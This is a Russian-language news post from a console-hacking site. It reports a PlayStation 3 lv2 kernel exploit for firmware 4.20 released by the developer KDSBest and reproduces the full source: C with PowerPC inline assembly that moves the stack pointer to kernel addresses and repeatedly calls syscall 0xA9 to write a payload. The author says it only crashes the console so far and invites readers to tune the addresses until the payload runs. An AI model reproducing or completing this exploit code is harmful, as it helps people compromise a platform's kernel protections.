Просмотров: 682123-09-2012, 11:56 ![]() Вчера, разработчик KDSBest предоставил публике свой собственный эксплоит lv2, но, по словам разработчика, он работает только на прошивке 4.20. На 4.21 и выше он уже заблокирован. После размещения разработчика @naehrwert информации об его lv2 эксплоите, я решил сделать тоже самое. stack pointer points указывает на lv2 и если мы сделаем syscall, syscall сохранит регистрацию на stack, ха-ха-ха. Кстати. Данный эксплоит на данный момент просто крашит консоль, так что я думаю, нужно немного переписать дамп lv2, или некоторые адреса в памяти, я не знаю. Не стесняйтесь экспериментировать, настроить адрес stackpointer и так далее. Если вам удаться создать панику payload. Скажи мне! ^^ Как примерно выглядит сам эксплоит: //compile: ppu-gcc kds2.c -o kds2.elf //or: ppu-lv2-gcc kds2.c -o kds2.elf register unsigned long long payloadHolder2 asm ("r21"); register unsigned long long payloadHolder asm ("r20"); register unsigned long long stackpointer asm ("r1"); register unsigned long long counter asm ("r25"); register unsigned long long bufferStackpointer asm ("r26"); int __volatile__ main(int argc, const char* argv[]) { // backup Stack pointer bufferStackpointer = stackpointer; payloadHolder = 0x3960024F3960024FUL; payloadHolder2 = 0x4400000244000002UL; // Incrementer counter = 0x00; // Play with that address till the panic is executed, I lack of time todo so // add always 2 or 4 to it, i would try 4 or 8... bla bla you will get the idea stackpointer = 0x8000000000000100UL; doItAgain: // KDSBest Payload // Prepare for our Syscall asm("li %r0, 0x0"); asm("li %r3, 0x6"); asm("li %r4, 0x1"); // li r11, 0x24F -> PANIC asm("mr %r22, %r20"); asm("mr %r23, %r20"); asm("mr %r24, %r20"); asm("mr %r27, %r20"); asm("mr %r28, %r20"); asm("mr %r29, %r20"); asm("mr %r30, %r20"); asm("mr %r31, %r20"); // Stack Pointer = Build Address of LV2 stackpointer += counter; // Syscall 0xA9 asm("li %r11, 0xA9"); asm("sc"); counter += 0x04; // We write sc asm("mr %r22, %r21"); asm("mr %r23, %r21"); asm("mr %r24, %r21"); asm("mr %r27, %r21"); asm("mr %r28, %r21"); asm("mr %r29, %r21"); asm("mr %r30, %r21"); asm("mr %r31, %r21"); // Stack Pointer = Build Address of LV2 stackpointer += counter; // Syscall 0xA9 asm("li %r11, 0xA9"); asm("sc"); counter += 0x04; if(counter < 0x1000000) goto doItAgain; stackpointer = bufferStackpointer; return 0; }
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем. Информация Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации. |